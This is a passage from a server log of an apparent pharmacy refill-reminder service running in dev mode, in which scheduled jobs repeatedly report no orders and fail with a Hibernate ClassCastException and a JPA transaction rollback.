org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 23:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 23:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 23:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 23:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 23:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 23:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 23:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 23:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 23:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 23:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 23:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 23:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 23:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 23:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 23:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 23:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 23:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 23:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 23:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 23:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 23:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 23:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 23:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 23:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 23:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 23:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 23:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 23:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 23:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 23:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 23:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 23:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 23:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at 